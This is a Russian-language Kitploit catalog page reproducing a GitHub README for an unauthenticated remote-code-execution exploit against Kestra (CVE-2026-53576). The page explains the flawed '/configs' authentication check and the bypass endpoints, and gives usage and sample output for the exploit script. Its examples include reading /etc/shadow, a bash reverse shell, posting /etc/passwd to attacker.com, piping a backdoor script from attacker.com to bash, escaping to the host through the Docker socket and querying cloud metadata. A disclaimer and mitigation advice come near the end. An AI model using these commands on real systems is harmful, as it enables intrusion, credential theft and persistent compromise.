Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-53576 — Kestra Unauthenticated RCE Exploit (CVE-2026-53576) | Kitploit
Инструменты/GitHubGitHub/tamatahyt/cve-2026-53576
Аутентификация и авторизацияПовышение привилегийЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхПост-эксплуатацияТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиПобег из Контейнера
GitHub
41 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
tamatahyt/cve-2026-53576

CVE-2026-53576

Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

Репозиторий

Эксплойт неавторизованного RCE в Kestra (CVE-2026-53576)

Python License Security Kestra

Критический обход аутентификации, ведущий к неавторизованному удалённому выполнению кода

Эксплойт • Детали уязвимости • Воздействие • Устранение


⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.

  • НЕ ИСПОЛЬЗУЙТЕ его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
  • НЕ ИСПОЛЬЗУЙТЕ его для незаконной деятельности.
  • Автор НЕ несёт ответственности за любое неправомерное использование этого инструмента.
  • Используйте на СВОЙ СТРАХ И РИСК.

📋 Оглавление

  • Обзор
  • Детали уязвимости
  • Использование эксплойта
  • Установка
  • Примеры
  • Воздействие
  • Устранение
  • Хронология
  • Ссылки
  • Лицензия

🔍 Обзор

CVE-2026-53576 — критическая уязвимость в Kestra OSS версиях до v1.3.20, которая позволяет неавторизованное удалённое выполнение кода через обход фильтра аутентификации.

Ключевые детали


🚨 Детали уязвимости

Первопричина

Фильтр аутентификации в Kestra содержит критический логический изъян:

root@kitploit:~
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

Этот код проверяет, заканчивается ли любой API-запрос на /configs, вместо сопоставления с точным маршрутом. Это позволяет злоумышленникам обойти аутентификацию, добавляя /configs к любому эндпоинту.

Шаги эксплуатации

  1. Создать вредоносный flow → POST /api/v1/main/flows/configs (обходит аутентификацию)
  2. Запустить выполнение → POST /api/v1/main/executions/configs/configs (обходит аутентификацию)
  3. Команды выполняются от имени root → Полная компрометация системы

Уязвимые эндпоинты

root@kitploit:~
# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 Использование эксплойта

Базовое использование

root@kitploit:~
python3 kestra_exploit.py <target_ip>

Расширенное использование

root@kitploit:~
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Параметры командной строки


📦 Установка

Требования

root@kitploit:~
pip install requests

Клонирование репозитория

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Проверка установки

root@kitploit:~
python3 kestra_exploit.py --help

🎯 Примеры

Пример 1: Базовая эксплуатация

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100

Вывод:

root@kitploit:~
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Пример 2: Реверс-шелл

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Пример 3: Эксфильтрация данных

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Пример 4: Проверка выхода из Docker

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 Воздействие

Непосредственное воздействие

Возможности атаки

Неавторизованный злоумышленник может:

  1. Выполнять произвольные команды от имени root:

    root@kitploit:~
    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. Перейти на хост-систему (если смонтирован Docker socket):

    root@kitploit:~
    docker run -v /:/host --privileged alpine chroot /host
    
  3. Получить доступ к метаданным облака (при размещении у облачного провайдера):

    root@kitploit:~
    curl http://169.254.169.254/latest/meta-data/
    

🛡️ Устранение

Немедленные действия

  1. Остановите уязвимые экземпляры:

    root@kitploit:~
    sudo systemctl stop kestra
    
  2. Заблокируйте публичный доступ:

    root@kitploit:~
    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. Примените правила межсетевого экрана:

    • Ограничьте доступ внутренними сетями
    • Используйте VPN для административного доступа

Постоянное исправление

  1. Обновите Kestra до последней исправленной версии:

    • Мониторинг: https://github.com/kestra-io/kestra
    • Проверка: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  2. Внедрите надлежащую аутентификацию:

    • Используйте OAuth2/OIDC вместо Basic Auth
    • Включите многофакторную аутентификацию
  3. Укрепление контейнера:

    • Запускайте от непривилегированного пользователя
    • Не монтируйте /var/run/docker.sock
    • Используйте корневую файловую систему только для чтения
  4. Укрепление сети:

    • Используйте API-шлюз с корректной маршрутизацией
    • Внедрите правила WAF
    • Включите валидацию запросов

📅 Хронология

ДатаСобытие
2026-05-26Уязвимость обнаружена
2026-06-03Опубликован Security Advisory от Kestra
2026-06-10

📚 Ссылки

  • Kestra Security Advisory GHSA-2q47-568g-9h4f
  • Huawei PSIRT
  • Детали CVE-2026-53576
  • OWASP Top 10 — Нарушенный контроль доступа

📄 Лицензия

root@kitploit:~
MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ Поддержка

Если вы нашли этот инструмент полезным:

  • ⭐ Поставьте звёздочку репозиторию
  • 🐛 Сообщайте об ошибках
  • 🔄 Отправляйте pull request
  • 📢 Делитесь ответственно

🙏 Благодарности

  • Команде Kestra за публикацию security advisory
  • Исследователям безопасности, раскрывшим эту уязвимость
  • Сообществу специалистов по open-source безопасности

⚠️ ИСПОЛЬЗУЙТЕ ОТВЕТСТВЕННО ⚠️

Сообщить об уязвимости • Политика безопасности • Контакт

Скачать инструмент
ПараметрЗначение
Идентификатор CVECVE-2026-53576
КритичностьКритическая (9.8 CVSS)
Тип уязвимостиОбход аутентификации + RCE
Затронутый продуктKestra OSS
Затронутые версии≤ v1.3.20
Вектор атакиСеть
Требуется аутентификацияНет
Взаимодействие с пользователемНет
ОпцияОписание
targetIP-адрес или имя хоста цели (обязательно)
-p, --portПорт (по умолчанию: 8080)
--httpsИспользовать HTTPS вместо HTTP
-c, --commandПользовательская команда для выполнения
--docker-checkПроверить доступ к Docker socket
--cleanupУдалить flow после эксплуатации
--delayЗадержка между запросами (по умолчанию: 2 с)
КатегорияКритичностьОписание
Конфиденциальность⚠️ КритическаяЧтение любых файлов (пароли, секреты, конфигурации)
Целостность⚠️ КритическаяСоздание/изменение/удаление flows и данных
Доступность⚠️ ВысокаяОстановка системы, истощение ресурсов
Аутентификация⚠️ КритическаяПолный обход Basic-Auth
Повышение привилегий⚠️ КритическаяКоманды выполняются от имени root (uid=0)
Побег из контейнера⚠️ КритическаяКомпрометация хоста через Docker socket
Присвоен CVE-2026-53576
2026-06-15Публичное раскрытие
2026-08-01Опубликован PoC